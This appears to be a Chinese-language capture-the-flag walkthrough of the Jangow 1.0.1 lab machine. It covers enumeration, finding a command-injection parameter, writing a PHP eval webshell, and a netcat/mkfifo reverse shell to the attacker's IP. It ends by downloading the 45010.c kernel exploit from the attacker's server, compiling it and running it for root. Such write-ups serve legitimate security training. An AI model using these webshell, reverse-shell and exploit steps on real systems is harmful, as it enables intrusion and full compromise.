简介

  • Name: Jangow: 1.0.1
  • Date release: 4 Nov 2021
  • Author: Jangow
  • Series: Jangow

描述

Difficulty: easy

The secret to this box is enumeration! Inquiries jangow2021@gmail.com

This works better with VirtualBox rather than VMware ## Changelog 2021-11-04 - v1.0.1 2021-11-01 - v1.0.0

nmap

扫不到ip

参考:

1
2
https://blog.csdn.net/qq_41918771/article/details/103636890
https://www.cnblogs.com/2022zzt/p/15966351.html

image-20221006100325644

image-20221006100353773image-20221006100411044

信息收集

image-20221006100644701

1
2
kali   192.168.169.220
靶机    192.168.169.230

扫描ip

image-20221006101413832

  • 80 直接访问

image-20221006101534575

  • 点击site 一个新的网站

image-20221006101648343

image-20221006101750058

image-20221006101823212

  • 点击Busar之后我们看url发现可能是个传参点，尝试输入whoami，发现是命令执行传参点。

image-20221006101905310

尝试上传webshell

1
echo '<?php eval($_POST["aaa"]);' > aaa.php

image-20221006102613683

image-20221006102722920

image-20221006102750522

php 反弹 shell

1
2
3
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.169.220 443 >/tmp/f');?>
#直接在本地写好，用蚁剑上传即可，我保存为shell.php
#443 端口不要改

image-20221006105203183

  • 浏览器访问一下
1
http://192.168.169.230/site/shell.php

image-20221006105243662

  • 交互
1
python3 -c "import pty;pty.spawn('/bin/bash')"

image-20221006105430902

提权

系统信息

image-20221006111834055

搜索可利用漏洞

image-20221006111945582

image-20221006112143847

利用漏洞

  • 让靶机下载漏洞文件
  1. kali 开启下载端口
1
python3 -m http.server 808
  1. 把文件放在/var/www/html/

image-20221006112648142

  1. 靶机下载,也可以通过蚁上传
1
wget http://192.168.169.220:808/45010.c
  1. 查看文件

image-20221006113842920

  1. 编译文件,多出一个 a.out

image-20221006113934902

  1. 运行 a.out

image-20221006114058553

结束

image-20221006114154598

  • 最后解密好像是空密码